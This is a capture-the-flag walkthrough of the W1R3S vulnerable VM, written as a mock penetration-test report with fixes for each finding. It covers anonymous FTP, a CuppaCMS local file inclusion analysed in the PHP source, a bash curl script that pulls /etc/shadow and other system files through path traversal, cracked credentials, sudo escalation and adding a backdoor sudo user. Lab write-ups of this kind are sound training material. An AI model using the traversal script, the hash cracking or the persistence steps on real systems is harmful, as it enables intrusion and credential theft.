Walkthrough and Writeup: W1R3S

This is a walkthough for the “W1R3S: 1.01” vulnerable VM, created by SpecterWires. Needless to say, this page will be full of spoilers for the VM.

The format will be loosely based on the OSCP report format, but modified a little to make it more walkthrough friendly.

The scenario introducing W1R3S is this:

You have been hired to do a penetration test on the W1R3S.inc individual server and report all findings. They have asked you to gain root access and find the flag (located in /root directory).

Information Gathering Phase

The scope of this assessment is an individual server owned and operated by W1R3S.inc. The server is known to be the only machine on the network. Using netdiscover the server IP is identified as 172.16.2.24 (an address in my lab).

Service Enumeration

The tester enumerated the services running on the machine using nmap.

Nmap scan report for 172.16.2.24
Host is up (0.00039s latency).
Not shown: 55528 filtered ports, 10003 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
| ftp-syst: 
| STAT: 
| FTP server status:
| Connected to ::ffff:172.16.2.2
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
| 256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_ 256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 08:00:27:1F:76:44 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.39 ms 172.16.2.24

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.02 seconds
IP port service
172.16.2.24 21 vsftpd
172.16.2.24 22 openSSH
172.16.2.24 80 Apache httpd
172.16.2.24 3306 MySQL

Per HTTP response headers, the target’s OS is likely: Ubuntu Xenial 16.04 (reference)

FTP service

Vulnerability: The FTP service allows anonymous logon.
This constitutes a data breach. If this were a real engagement it requires immediate disclosure to the client.

The nmap scan revealed 3 directories accessible to an anonymous user. All of these directories can be exfiltrated.

The files available via FTP contain sensitive company data, including employee names and roles.

[10:44:55 [email protected]][ ~/practise/ctf/w1r3s/loot/ftp-content/new-employees]
# cat employee-names.txt
The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

Fix: disable anonymous login of the FTP service.

Web Service

The web service is running a CMS called CuppaCMS with the default credentials admin:admin.

Vulnerability: This version of Cuppa CMS is vulnerable to a Local File Inclusion.
NOTE: I will be going into a bit more depth on this part and dropping the faux-formal tone, because it tripped me up at first.

If you want to skip how I found the LFI and go straight to the exploit, click here

According to searchsploit there is a possible LFI (local file inclusion) vulnerability in /administrator/alerts/alertConfigField.php.

The file from the exploit-DB does come with some exploit code, but it didn’t work out of the box.

It’s not super uncommon for exploit code to contain purposeful errors. The vulnerable code uses _REQUEST which according to the docs is an associative array of $_GET, $_POST, and $_COOKIE variables. So I tried the LFI on all of them!

LFI on the GET parameter doesn’t return anything:

LFI using POST with URL parameters doesn’t work either:

Finally, an LFI using the POST body does work:

A deep dive into the code

I’m not happy not knowing why the POST body worked but the others didn’t. So I did some digging.

I downloaded a copy of CuppaCMS from here: https://sourceforge.net/projects/cuppacms/ I’m also hosting the file I got just in case: locally hosted Cuppa zip

I then used ack to search for the variable that was used to discover the LFI.

That reveals this code:

<div id="content_alert_config" class="content_alert_config">
    <?php include "../components/table_manager/fields/config/"[email protected]$cuppa->POST("urlConfig"); ?>
</div>

Following the function call $cuppa->POST into Cuppa.php:

// post
public function POST($string){ 
    return $this->sanitizeString(@$_POST[$string]); 
}

[...snip...]

// santize String 
public function sanitizeString($string){ 
    return htmlspecialchars(trim(@$string)); 
}

CuppaCMS attempts to sanitise the input using the built-in htmlspecialchars() function. This converts the following characters:

Character Replacement
& &amp;
&quot;
&#039;
< &lt;
> &gt;

This may have been an attempt to fix the vulnerability from ExploitDB, but LFI is still totally viable with this ‘sanitisation’.

Fix: This vulnerability and a few others exist in the most recent version of CuppaCMS at time of reporting. The GitHub page suggests the dev team is slow at responding to security tickets.
Implementing a WAF in front of the application would effectively mitigate most of these vulnerabilities. If possible, a CMS with better support options would further minimise risk.

Now I know what is happening, I am ready to exploit this vulnerability.

Exploiting the vulnerability

The tester discovered an LFI in CuppaCMS which allows extraction of system files. A script was used in combination with a post-exploitation list to extract system data:

#! /bin/bash

while read -r line; do
    encoded=`echo $line | sed "s=/=%2F=g"`
    fname=`echo $line | sed "s=/=_=g"`
    data='$(curl -d "urlConfig=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F$encoded" -X POST http://localhost/administrator/alerts/alertConfigField.php)'
    echo "$data" >> "$fname".txt
done <interestingFiles.txt

The tester was able to successfully exfiltrate the following assets:

  • bin/nc
  • etc/crontab
  • etc/fstab
  • etc/group
  • etc/hosts
  • etc/issue
  • etc/ldap/ldap.conf
  • etc/motd
  • etc/network_interfaces
  • etc/passwd
  • etc/resolv.conf
  • etc/shadow
  • etc/sysctl.conf
  • proc/cpuinfo
  • proc/meminfo

Vulnerability: The user running the web service is able to read /etc/shadow
On the target machine, /etc/shadow has global read/write '666' permissions.

The shadow file was exfiltrated and hashes for users root, www-data, and w1r3s were obtained.

The tester ‘unshadowed’ and cracked credentials for www-data and w1r3s using John the Ripper.

www-data:www-data
w1r3s:computer

Fix: Change the permissions of /etc/shadow to '600'.

SSH Service

The tester gained access to the target server using the cracked credentials via SSH:

The user w1r3s has sudo rights. The tester used this access to elevate to the root user:

The tester was also able to elevate to root privileges by overwriting the hash stored in /etc/shadow with a known hash.

The tester added a user account with sudo access to maintain access to the machine for futher testing.

The End

The flag: